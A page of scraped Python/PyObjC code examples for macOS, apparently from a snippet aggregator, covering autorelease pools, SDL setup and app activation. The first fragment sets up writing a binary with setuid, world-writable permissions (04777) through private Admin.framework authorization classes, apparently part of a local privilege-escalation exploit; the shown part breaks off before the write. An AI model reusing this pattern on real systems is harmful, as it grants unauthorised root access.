dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()
Example #54
0
def autorelease():
    pool = NSAutoreleasePool.alloc().init()
    yield
    del pool
Example #55
0
	sdl.SDL_Init(0xFFFF) # init everything
	sdl.SDL_SetVideoMode(640,480,0,0)
	sdl.SDL_EnableUNICODE(1)
	print "initialized SDL"

	sdl_main_loop()
	sdl.SDL_Quit()
	print "quit"

if sys.platform == "darwin":

	sdl = cdll.LoadLibrary("/Library/Frameworks/SDL.framework/SDL")

	from AppKit import NSApp, NSApplication, NSNotificationCenter, NSApplicationDidFinishLaunchingNotification
	from Foundation import NSAutoreleasePool, NSObject
	pool = NSAutoreleasePool.alloc().init()
	
	class MyApplicationActivator(NSObject):
	
		def activateNow_(self, aNotification):
			NSApp().activateIgnoringOtherApps_(True)
			try:
				app_main()
			except:
				sys.excepthook(*sys.exc_info())
			os._exit(0)
			
	activator = MyApplicationActivator.alloc().init()
	NSNotificationCenter.defaultCenter().addObserver_selector_name_object_(
		activator,
		'activateNow:',